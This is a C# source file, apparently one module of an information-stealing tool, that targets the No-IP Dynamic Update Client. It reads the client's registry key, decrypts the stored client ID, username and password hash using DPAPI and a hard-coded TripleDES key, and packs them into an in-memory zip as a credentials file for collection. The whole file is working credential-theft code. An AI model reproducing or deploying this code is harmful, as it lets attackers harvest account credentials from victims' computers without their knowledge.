68 lines
2.1 KiB
C#
68 lines
2.1 KiB
C#
using System.Security.Cryptography;
|
|
using System.Text;
|
|
using Intelix.Helper.Data;
|
|
using Intelix.Helper.Encrypted;
|
|
using Microsoft.Win32;
|
|
|
|
namespace Intelix.Targets.Applications;
|
|
|
|
public class NoIp : ITarget
|
|
{
|
|
public void Collect(InMemoryZip zip, Counter counter)
|
|
{
|
|
string text = "SOFTWARE\\Vitalwerks\\DUC\\v4";
|
|
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text);
|
|
if (registryKey != null)
|
|
{
|
|
object value = registryKey.GetValue("CKey");
|
|
object value2 = registryKey.GetValue("CID");
|
|
object value3 = registryKey.GetValue("UserName");
|
|
if (value != null || value2 != null || value3 != null)
|
|
{
|
|
string text2 = DecryptString((byte[])value2);
|
|
string text3 = DecryptString((byte[])value);
|
|
string text4 = DecryptString((byte[])value3);
|
|
string text5 = "NoIp\\Credentials.txt";
|
|
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
|
counterApplications.Name = "NoIp";
|
|
counterApplications.Files.Add(text + " => " + text5);
|
|
counterApplications.Files.Add(text5);
|
|
zip.AddTextFile(text5, "clientid: " + text2 + "\nlogin: " + text4 + "\npassword hash: " + text3);
|
|
counter.Applications.Add(counterApplications);
|
|
}
|
|
}
|
|
}
|
|
|
|
private string DecryptString(byte[] message)
|
|
{
|
|
try
|
|
{
|
|
if (message == null)
|
|
{
|
|
return null;
|
|
}
|
|
byte[] array = DpApi.Decrypt(message);
|
|
if (array == null)
|
|
{
|
|
return null;
|
|
}
|
|
byte[] key = new byte[16]
|
|
{
|
|
127, 238, 115, 104, 83, 74, 138, 240, 49, 50,
|
|
224, 252, 103, 181, 23, 117
|
|
};
|
|
using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
|
|
tripleDESCryptoServiceProvider.Key = key;
|
|
tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;
|
|
tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7;
|
|
using ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();
|
|
byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
|
|
return Encoding.UTF8.GetString(bytes);
|
|
}
|
|
catch
|
|
{
|
|
return null;
|
|
}
|
|
}
|
|
}
|